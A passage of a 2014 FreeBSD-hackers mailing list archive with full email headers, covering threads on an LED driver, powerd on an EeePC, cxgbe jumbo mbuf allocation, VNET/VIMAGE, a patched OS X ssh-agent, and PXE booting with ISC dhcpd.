else - adapter->rx_mbuf_sz = MJUM9BYTES; + adapter->rx_mbuf_sz = m_preferredsize(adapter->max_frame_size); /* Prepare receive descriptors and buffers */ if (igb_setup_receive_structures(adapter)) { --------------060607030109030205060500-- From owner-freebsd-hackers@FreeBSD.ORG Tue May 6 16:28:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4D323EE3 for ; Tue, 6 May 2014 16:28:37 +0000 (UTC) Received: from mailgate.gta.com (mailgate.gta.com [199.120.225.23]) by mx1.freebsd.org (Postfix) with ESMTP id F162365A for ; Tue, 6 May 2014 16:28:36 +0000 (UTC) Received: (qmail 45247 invoked by uid 1000); 6 May 2014 16:21:54 -0000 Date: 6 May 2014 16:21:54 -0000 Message-ID: <20140506162154.45246.qmail@mailgate.gta.com> From: lab@gta.com (Larry Baird) To: jhb@freebsd.org (John Baldwin) Subject: Re: apu1c led driver In-Reply-To: <201405051403.20390.jhb@freebsd.org> User-Agent: tin/2.2.0-20131224 ("Lochindaal") (UNIX) (FreeBSD/9.2-RELEASE-p5 (i386)) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 May 2014 16:28:37 -0000 >> Generally rather than specifying the physical addresses as constants in >> the device driver, the address space and/or IO port resources are >> managed by the driver for the bus the device sits on. For something >> like LEDs and GPIOs that aren't self-identifying devices on a bus and >> aren't described by ACPI or other system-provided metadata, the 'hints' >> mechanism gives you a way to provide the resource metadata >> in /boot/loader.conf. >> >> The device.hints(5) manpage has some helpful info. Typically you need >> to provide an 'at' hint to say which bus the device is on. I'm not sure >> what's right for your LED/GPIO device; I've only ever used at=isa. For >> your device, it looks like you also need maddr/msize hints, then >> bus_alloc_resource_any() with an rid of 0 and a type of MEMORY should >> get you a bus_space handle for hardware access. > > ISA devices can hardcode ports this way, but this is written as a PCI driver, > so it isn't going to work. Larry, you can try changing your driver to be > an ISA driver by changing the second arg to DRIVER_MODULE() from 'pci' to > 'isa'. Is there a way you can probe something or check a BIOS string to > detect this driver? If so, you should auto-create a device from an identify > routine (then you don't need any hints). Your probe routine should fail for > ISA devices with a PNP ID so you don't attach to random things like serial > ports, etc. Switching to using an identify routine simplifies things a lot. Thank you for the hint. Larry -- ------------------------------------------------------------------------ Larry Baird Global Technology Associates, Inc. 1992-2012 | http://www.gta.com Celebrating Twenty Years of Software Innovation | Orlando, FL Email: lab@gta.com | TEL 407-380-0220 From owner-freebsd-hackers@FreeBSD.ORG Tue May 6 16:38:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 675127A9; Tue, 6 May 2014 16:38:21 +0000 (UTC) Received: from ms-10.1blu.de (ms-10.1blu.de [178.254.4.101]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 2883C816; Tue, 6 May 2014 16:38:21 +0000 (UTC) Received: from [188.174.56.15] (helo=tiny-r255948) by ms-10.1blu.de with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.76) (envelope-from ) id 1WhiNf-0007fc-Ks; Tue, 06 May 2014 18:38:11 +0200 Received: from tiny-r255948 (localhost [127.0.0.1]) by tiny-r255948 (8.14.7/8.14.3) with ESMTP id s46GcVOk001423; Tue, 6 May 2014 18:38:31 +0200 (CEST) (envelope-from guru@unixarea.de) Received: (from guru@localhost) by tiny-r255948 (8.14.7/8.14.3/Submit) id s46GcU4u001422; Tue, 6 May 2014 18:38:30 +0200 (CEST) (envelope-from guru@unixarea.de) X-Authentication-Warning: tiny-r255948: guru set sender to guru@unixarea.de using -f Date: Tue, 6 May 2014 18:38:24 +0200 From: Matthias Apitz To: freebsd-current@freebsd.org Subject: Re: Leaving the Desktop Market Message-ID: <20140506163823.GA1406@tiny-r255948> Reply-To: Matthias Apitz MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Operating-System: FreeBSD 10.0-CURRENT r235646 (i386) User-Agent: Mutt/1.5.21 (2010-09-15) X-Con-Id: 51246 X-Con-U: 0-guru X-Originating-IP: 188.174.56.15 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 May 2014 16:38:21 -0000 Hello, I wanted to implement the power saving hints we discussed in my tiny EeePC 900, but it says: root@tiny-r255948:~ # uname -a FreeBSD tiny-r255948 10.0-ALPHA4 FreeBSD 10.0-ALPHA4 #1: Fri Oct 18 12:10:57 CEST 2013 guru@aurora.Sisis.de:/usr/obj/usr/src/sys/GENERIC i386 root@tiny-r255948:~ # /etc/rc.d/powerd start Starting powerd. powerd: no cpufreq(4) support -- aborting: No such file or directory /etc/rc.d/powerd: WARNING: failed to start powerd root@tiny-r255948:~ # kldload cpufreq kldload: can't load cpufreq: File exists Any ideas? matthias -- Sent from my FreeBSD netbook Matthias Apitz, , http://www.unixarea.de/ f: +49-170-4527211 UNIX since V7 on PDP-11, UNIX on mainframe since ESER 1055 (IBM /370) UNIX on x86 since SVR4.2 UnixWare 2.1.2, FreeBSD since 2.2.5 From owner-freebsd-hackers@FreeBSD.ORG Tue May 6 17:21:14 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 08589D9B; Tue, 6 May 2014 17:21:14 +0000 (UTC) Received: from mail-pa0-x234.google.com (mail-pa0-x234.google.com [IPv6:2607:f8b0:400e:c03::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B15F6C50; Tue, 6 May 2014 17:21:13 +0000 (UTC) Received: by mail-pa0-f52.google.com with SMTP id kx10so11669281pab.11 for ; Tue, 06 May 2014 10:21:13 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=DBOIOLc28ZVtP9lpldzVmDzwus52Q8TsixH0m2Xf1Mk=; b=t8wzi9NEjG1M4ICwnFLhy1A8ySo1Vxn/M5uSfrg5mIu/IyGxtGRnQIrRVmBwJvNW0n igQsvdxyOr7yPD2FDnVwOupZIM8WBYb1p+riu3Vd7Fnlun17+CpPtRI3kp002rclgJvo lqCqNKytG/wXwHZFEnYI96uiQu3IEAecj59AjINhNZwwrly4UAYn0n36SmVkAdC32XNl F6OKhrMYOFaThg6k9UyEe9hE2gyXLHY0QIGZ88JogyUI9xF+n19NQt49q67kVmGmh+o3 HY9i/+AF1+mHhmz3RwdwyS07jTZ60IOenFjrQiRcZ03XfvL4YSUtbh1tundw7zg344wG PF5A== X-Received: by 10.66.191.134 with SMTP id gy6mr8576016pac.27.1399396873130; Tue, 06 May 2014 10:21:13 -0700 (PDT) Received: from [10.192.166.0] (stargate.chelsio.com. [67.207.112.58]) by mx.google.com with ESMTPSA id pl10sm1539591pbb.56.2014.05.06.10.21.11 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 06 May 2014 10:21:12 -0700 (PDT) Sender: Navdeep Parhar Message-ID: <53691A07.2060304@FreeBSD.org> Date: Tue, 06 May 2014 10:21:11 -0700 From: Navdeep Parhar User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: "Alexander V. Chernikov" , FreeBSD Net , hackers@freebsd.org Subject: Re: Use of contiguous physical memory in ixgbe driver References: <53690885.1010704@FreeBSD.org> In-Reply-To: <53690885.1010704@FreeBSD.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: jfv@FreeBSD.org, Adrian Chadd , wollman@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 May 2014 17:21:14 -0000 On 05/06/14 09:06, Alexander V. Chernikov wrote: > Hello guys. > (bootstrapping people involved in previous version of this topic, sorry > for that) > > There were several problem descriptions/discussions on using 9k+ mbufs > with current allocator in: > if_em: kern/183381 > cxgbe: > http://lists.freebsd.org/pipermail/freebsd-net/2014-February/037834.html > > general one: > http://lists.freebsd.org/pipermail/freebsd-net/2014-January/037673.html I changed cxgbe(4) in response to those discussions (see r263317 for details; r263451 has the man page updates). It still prefers large clusters (if MTU is > 4K) by default but will happily fall back to the 4K zone if it encounters failures when allocating from the larger zones. I also added a knob that you can use to forbid cxgbe(4) from even attempting to allocate from the large zones. So the latest cxgbe(4) should be able to cope just fine at whatever MTU even when the 9K, 16K zones are depleted. Regards, Navdeep From owner-freebsd-hackers@FreeBSD.ORG Tue May 6 17:54:43 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D96A3FFF for ; Tue, 6 May 2014 17:54:43 +0000 (UTC) Received: from mx1.fisglobal.com (mx1.fisglobal.com [199.200.24.190]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "mx1.fisglobal.com", Issuer "VeriSign Class 3 Secure Server CA - G3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 21F72F27 for ; Tue, 6 May 2014 17:54:42 +0000 (UTC) Received: from smarthost.fisglobal.com ([10.132.206.192]) by ltcfislmsgpa03.fnfis.com (8.14.5/8.14.5) with ESMTP id s46HsZT2007057 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Tue, 6 May 2014 12:54:35 -0500 Received: from THEMADHATTER (10.242.181.54) by smarthost.fisglobal.com (10.132.206.192) with Microsoft SMTP Server id 14.3.174.1; Tue, 6 May 2014 12:54:34 -0500 From: Sender: Devin Teske To: "'Herbert J. Skuhra'" , References: <20140506133027.GA99254@oslo.ath.cx> In-Reply-To: <20140506133027.GA99254@oslo.ath.cx> Subject: RE: Getting VNET/VIMAGE across the finish line Date: Tue, 6 May 2014 10:54:23 -0700 Message-ID: <015901cf6954$37933f80$a6b9be80$@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 15.0 Thread-Index: AQGezlxXF2PFL2Yw4aeWrTETYoORkgHOjiE0m4aW0BA= Content-Language: en-us X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.96, 1.0.14, 0.0.0000 definitions=2014-05-06_05:2014-05-06,2014-05-06,1970-01-01 signatures=0 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 May 2014 17:54:43 -0000 > -----Original Message----- > From: Herbert J. Skuhra [mailto:hskuhra@eumx.net] > Sent: Tuesday, May 6, 2014 6:30 AM > To: freebsd-hackers@freebsd.org > Subject: Re: Getting VNET/VIMAGE across the finish line > > On Sun, Apr 20, 2014 at 06:56:12PM -0700, Kevin Bowling wrote: > > Hi, > > > > I'd like to see VNET/VIMAGE get added to GENERIC in -CURRENT and help > > stamp out any remaining issues. > > > > I'm aware of two broad problems at the moment: > > * http://www.freebsd.org/cgi/query-pr.cgi?pr=164763&cat= > > * pf related things which seem to be getting addressed > > > > Is anyone tracking other issues? > > I just stumpled upon this problem: > > http://lists.freebsd.org/pipermail/freebsd-jail/2013-April/002200.html > http://lists.freebsd.org/pipermail/freebsd-amd64/2011- > October/014050.html > I've been carrying that patch around and have even updated it recently to apply cleanly to stable/9. I'll try to get some time today to post the updated patch. Again, I'm not the original author of the patch (*think it was Sergey), but it's been doing wonders for allowing us to run 32-bit vimage jails on 64-bit hosts (which is important for things like being able to produce 32-bit binaries without having to do a cross-compile). -- Devin > -- > Herbert > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers- > unsubscribe@freebsd.org" _____________ The information contained in this message is proprietary and/or confidential. If you are not the intended recipient, please: (i) delete the message and all copies; (ii) do not disclose, distribute or use the message in any manner; and (iii) notify the sender immediately. In addition, please be aware that any message addressed to our domain is subject to archiving and review by persons other than the intended recipient. Thank you. From owner-freebsd-hackers@FreeBSD.ORG Tue May 6 19:32:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BFA04D68; Tue, 6 May 2014 19:32:48 +0000 (UTC) Received: from mail-qc0-x234.google.com (mail-qc0-x234.google.com [IPv6:2607:f8b0:400d:c01::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 70F01A9C; Tue, 6 May 2014 19:32:48 +0000 (UTC) Received: by mail-qc0-f180.google.com with SMTP id i17so9373949qcy.39 for ; Tue, 06 May 2014 12:32:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=c7mfEpiF6Qv5QhTTaOFlROuiSOBHtSp5bfPNMSfHv38=; b=pI/yYsfsV6jtjuD71PPu0FNCbhW8h80Pti+yZLf1GCuoLhqw5NuFa/ARhuobcIqhOz jGLVxJKVvXmEKDu8fANM3h1Uf3KAxCSX/tNcFJjLDl4W2/FqlGFqY6SPnBsAgi5hCX1X zyuFytO4pKRntuo3hOG4NN7LdrIoEZjSGBV01QKISM4RukFlXx6OC+K5E3TdRuyfD5Yl TuJy+W4s4RLnwhvG2G+r9wM1kNLn8nh2Jf7g0BSw9Keamdu3koi6xdwyUUUXPzbL1pt8 +rgx4caTM5aeCqoQqH1bEfxBGE5li8Ji82xqiMcnagwV+6RjIaa2sU+nisv1JRlPZ2Qb u2Tg== MIME-Version: 1.0 X-Received: by 10.224.129.66 with SMTP id n2mr58833581qas.55.1399404767601; Tue, 06 May 2014 12:32:47 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.191.201 with HTTP; Tue, 6 May 2014 12:32:47 -0700 (PDT) In-Reply-To: <20140506163823.GA1406@tiny-r255948> References: <20140506163823.GA1406@tiny-r255948> Date: Tue, 6 May 2014 12:32:47 -0700 X-Google-Sender-Auth: FdmqalTtMGzkxvgxIRGpg0SL6sE Message-ID: Subject: Re: Leaving the Desktop Market From: Adrian Chadd To: Matthias Apitz Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" , freebsd-current X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 May 2014 19:32:48 -0000 On 6 May 2014 09:38, Matthias Apitz wrote: > > Hello, > > I wanted to implement the power saving hints we discussed in my tiny > EeePC 900, but it says: > > root@tiny-r255948:~ # uname -a > FreeBSD tiny-r255948 10.0-ALPHA4 FreeBSD 10.0-ALPHA4 #1: Fri Oct 18 > 12:10:57 CEST 2013 guru@aurora.Sisis.de:/usr/obj/usr/src/sys/GENERIC > i386 > > root@tiny-r255948:~ # /etc/rc.d/powerd start > Starting powerd. > powerd: no cpufreq(4) support -- aborting: No such file or directory > /etc/rc.d/powerd: WARNING: failed to start powerd > root@tiny-r255948:~ # kldload cpufreq > kldload: can't load cpufreq: File exists > Well, what's a bootverbose look like? What's 'sysctl dev.cpu' show? -a From owner-freebsd-hackers@FreeBSD.ORG Tue May 6 19:41:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 473AA565 for ; Tue, 6 May 2014 19:41:04 +0000 (UTC) Received: from mail.feld.me (mail.feld.me [66.170.3.6]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "mail.feld.me", Issuer "Gandi Standard SSL CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id A0F26B0E for ; Tue, 6 May 2014 19:41:03 +0000 (UTC) Received: from mail.feld.me (mail.feld.me [66.170.3.6]); by mail.feld.me (OpenSMTPD) with ESMTP id c4efb0a3; for ; Tue, 6 May 2014 14:40:59 -0500 (CDT) Received: from feld@feld.me by mail.feld.me (Archiveopteryx 3.2.0) with esmtpa id 1399405258-10287-10283/5/1; Tue, 6 May 2014 19:40:58 +0000 Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8; format=flowed Date: Tue, 6 May 2014 14:40:58 -0500 From: Mark Felder To: freebsd-hackers@freebsd.org Subject: Re: [OT] Mac OS X Notification Center and ssh-agent In-Reply-To: <034c01cf673e$1cc6af10$56540d30$@FreeBSD.org> References: <034c01cf673e$1cc6af10$56540d30$@FreeBSD.org> Message-Id: <057b1202c2680be9ab91fe127bc8a2ad@mail.feld.me> X-Sender: feld@FreeBSD.org User-Agent: Roundcube Webmail/0.9.5 Sender: feld@feld.me X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 May 2014 19:41:04 -0000 Is there any chance of this breaking OSX updates? From owner-freebsd-hackers@FreeBSD.ORG Tue May 6 19:59:40 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1606D188; Tue, 6 May 2014 19:59:39 +0000 (UTC) Received: from mx1.fisglobal.com (mx1.fisglobal.com [199.200.24.190]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "mx1.fisglobal.com", Issuer "VeriSign Class 3 Secure Server CA - G3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 8A103CB7; Tue, 6 May 2014 19:59:38 +0000 (UTC) Received: from smarthost.fisglobal.com ([10.132.206.191]) by ltcfislmsgpa04.fnfis.com (8.14.5/8.14.5) with ESMTP id s46Jxa2H030244 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Tue, 6 May 2014 14:59:36 -0500 Received: from THEMADHATTER (10.242.181.54) by smarthost.fisglobal.com (10.132.206.191) with Microsoft SMTP Server id 14.3.174.1; Tue, 6 May 2014 14:59:35 -0500 From: Sender: Devin Teske To: "'Mark Felder'" , References: <034c01cf673e$1cc6af10$56540d30$@FreeBSD.org> <057b1202c2680be9ab91fe127bc8a2ad@mail.feld.me> In-Reply-To: <057b1202c2680be9ab91fe127bc8a2ad@mail.feld.me> Subject: RE: [OT] Mac OS X Notification Center and ssh-agent Date: Tue, 6 May 2014 12:59:22 -0700 Message-ID: <01c701cf6965$ade31eb0$09a95c10$@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 15.0 Thread-Index: AQGBiyjQ0qjwpkyVFRqCd0prE3R9LgEugKxNm8Y+UgA= Content-Language: en-us X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.96, 1.0.14, 0.0.0000 definitions=2014-05-06_06:2014-05-06,2014-05-06,1970-01-01 signatures=0 Cc: 'Devin Teske' X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 May 2014 19:59:40 -0000 > -----Original Message----- > From: Mark Felder [mailto:feld@freebsd.org] > Sent: Tuesday, May 6, 2014 12:41 PM > To: freebsd-hackers@freebsd.org > Subject: Re: [OT] Mac OS X Notification Center and ssh-agent > > Is there any chance of this breaking OSX updates? There haven't been any updates since I've put my modified ssh-agent into place, so I can't yet say whether the OS X update utility would balk about a checksum difference or if it would just blindly replace the modified ssh-agent. My plan for handling this was two-fold: 1. If update balks about the checksum of in-place ssh-agent Move the ssh-agent.orig back into place to allow the update to proceed. 2. Go to opensource.apple.com to download the latest updated version of Apple's forked OpenSSH, re-apply my patches from here: https://github.com/devinteske/apple/commit/296d954851dbba2384797620c1b9a77e5 62917b8 Of course, I have to remember that to get an ssh-agent binary with "the right stuff" I have to compile with: ./configure --with-pam --with-audit=bsm make This was easy enough to learn by running "otool -L" on the old ssh-agent versus new (ssh-agent that ships with OS X has libbsm.0.dylib and libpam.2.dylib linked-in. -- Devin _____________ The information contained in this message is proprietary and/or confidential. If you are not the intended recipient, please: (i) delete the message and all copies; (ii) do not disclose, distribute or use the message in any manner; and (iii) notify the sender immediately. In addition, please be aware that any message addressed to our domain is subject to archiving and review by persons other than the intended recipient. Thank you. From owner-freebsd-hackers@FreeBSD.ORG Wed May 7 07:57:20 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7057222C for ; Wed, 7 May 2014 07:57:20 +0000 (UTC) Received: from mail-yh0-x230.google.com (mail-yh0-x230.google.com [IPv6:2607:f8b0:4002:c01::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 31A102E5 for ; Wed, 7 May 2014 07:57:20 +0000 (UTC) Received: by mail-yh0-f48.google.com with SMTP id v1so545337yhn.21 for ; Wed, 07 May 2014 00:57:19 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=xEclw7ZAPNVDHgzmsj8lj2t1hPJDn1WIjIrJ57WyKk4=; b=g58T9wffMuPoB8UOSdmSv+Lmhy6oSRYLk5MMM8FBAFy9W10oDZVcxKP8PjUoErUGXo iLaTyTpF4W6KhmdZqVgZGQwGRK7yYz9VbMMLAY3iTGiOJtbyQFFExtBlD8CRDc/DeH4+ 05DxlFr2hU4wNuz+sLoe+ihQIkPQ32Jk44x0RG40oG7inePlwwvY/iDlYko5sGLSEbid JLtQPWjeI7r0YknhstJfzBs4x3i+pzBqsUVXpWuuG7Xs6ar0TJtJrinwhSO3BmyjogfS pTWA8QdUWFJJgA/77fp+i8feSGmIh1tROrcihYQFsVcWyUCyJ0t5uDHmUNEpAkcGz1i7 2hlA== MIME-Version: 1.0 X-Received: by 10.236.150.205 with SMTP id z53mr65967973yhj.75.1399449439381; Wed, 07 May 2014 00:57:19 -0700 (PDT) Received: by 10.170.202.139 with HTTP; Wed, 7 May 2014 00:57:19 -0700 (PDT) In-Reply-To: <61757A61-FE08-4D2E-9381-522ADCE1F17A@longcount.org> References: <61757A61-FE08-4D2E-9381-522ADCE1F17A@longcount.org> Date: Wed, 7 May 2014 09:57:19 +0200 Message-ID: Subject: Re: vm+ipxe+pxeboot fail From: amine tay To: Mark Saad Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 May 2014 07:57:20 -0000 Thanks Mark for your reply, I have already tried to comment out the option "one-lease-per-client" and also simplified the if statement but no changes. I guess the probleme as Doug said the iPXE is sending a client ID and the pxeboot isn't. So then ISC DHCP server doesn't like that and gives a different IP. So i guess the solution is to patch bootp.c for the pxeboot. (I will let you know if it works ) And you're right I'm trying to pxeboot FreeBSD and use puppet to customize the machine. Thanks. Amine. 2014-05-06 15:08 GMT+02:00 Mark Saad : > Sorry for the delay in my reply . > > On Apr 30, 2014, at 9:42 AM, amine tay wrote: > > Hi Mark thanks for your reply, > I have my root-path in dhcpd.conf and etc/exports. > my dhcpd.conf : > > authoritative; > subnet 10.28.236.0 netmask 255.255.255.0 { > > one-lease-per-client on; > > > Comment out the one lease-per-client option . > > range 10.28.236.10 10.28.236.250; > > default-lease-time 1200; > max-lease-time 43200; > dynamic-bootp-lease-length 1200; > > option ntp-servers 10.28.236.1; > option broadcast-address 10.28.236.255; > option subnet-mask 255.255.255.0; > option domain-name "xxxxxxxxxxxxx"; > option domain-search "xxxxxxxxxxxxxxxxxxxxx"; > option domain-name-servers 10.28.236.1; > > allow duplicates; > allow unknown-clients; > allow booting; > allow bootp; > > > > Can you simplify this block to just serve the razor.ipxe image to any > request ? So remove the fixed address and the if statement . > > host freebsd {hardware ethernet 00:50:56:99:0b:c4; fixed-address > 10.28.236.14; option root-path > "/opt/razor/image/image/os/7I2RjjQvo7IkbqO4rLv6kJ";} > if exists user-class and option user-class = "iPXE" { > filename "razor.ipxe"; # we are in an iPXE kernel and load static script > } else { > filename "undionly.kpxe"; # we are in burned in PXE and load iPXE kernel > } > next-server 10.28.236.1; > } > > And the Freebsd pxeboot loader is launched by razor. > > > > I suspect the issue is the allow duplicate and one lease per client > options clashing with pxeloader . Is your goal here to pxe boot FreeBSD > then use puppet to do a custom layout of the install ? > > > > 2014-04-30 15:22 GMT+02:00 Mark Saad : > >> >> >> > On Apr 30, 2014, at 4:10 AM, amine tay wrote: >> > >> > Hi everyone, >> > >> > Lately I had some problems, trying to get FreeBSD to PXE boot. (Actually >> > I'm using a VMware virtual machine.) First I'm using iPXE 1.0.0 and then >> > load and launch the FreeBSD pxeboot >> > loader. But I'm getting this : >> > http://forums.freebsd.org/viewtopic.php?f=4&t=45901 >> > When using isc-dhcp as DHCP server I'm getting the error but when using >> > dnsmasq everything works fine. >> > >> > The problem seems that the client when booting is sending 2 DHCP >> requests >> > and therefore gets two different IP addresses, the first one sent by the >> > ROM and the second one by the FreeBSD >> > pxebootloader. >> > >> > I found somewhere in some posts that the pxe.c file is doing a second >> > bootprequest because it fails to get cached DHCP data from the ROM. >> > >> > Any help or more ideas would be appreciated. >> >> It looked like you either do not have options rootpath set in dhcpd.conf >> , etc/exports is mis configured , the nfs server is disabled or if you have >> loader built with tftp support you do not have a tftp server setup / >> running . >> >> Can you sent the dhcpd.conf the exports file off the server ? >> >> Mark saad | mark.saad@longcount.org >> >> >> > _______________________________________________ >> > freebsd-hackers@freebsd.org mailing list >> > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> > To unsubscribe, send any mail to " >> freebsd-hackers-unsubscribe@freebsd.org" >> > > > Mark saad | mark.saad@longcount.org > From owner-freebsd-hackers@FreeBSD.ORG Wed May 7 08:12:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0275CD37 for ; Wed, 7 May 2014 08:12:02 +0000 (UTC) Received: from mail-yk0-x229.google.com (mail-yk0-x229.google.com [IPv6:2607:f8b0:4002:c07::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B809267F for ; Wed, 7 May 2014 08:12:01 +0000 (UTC) Received: by mail-yk0-f169.google.com with SMTP id 200so528924ykr.14 for ; Wed, 07 May 2014 01:12:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=CGhqfW/v8hmPfm3mKyZwcTI8Xgp177mQXVITP1pWKsM=; 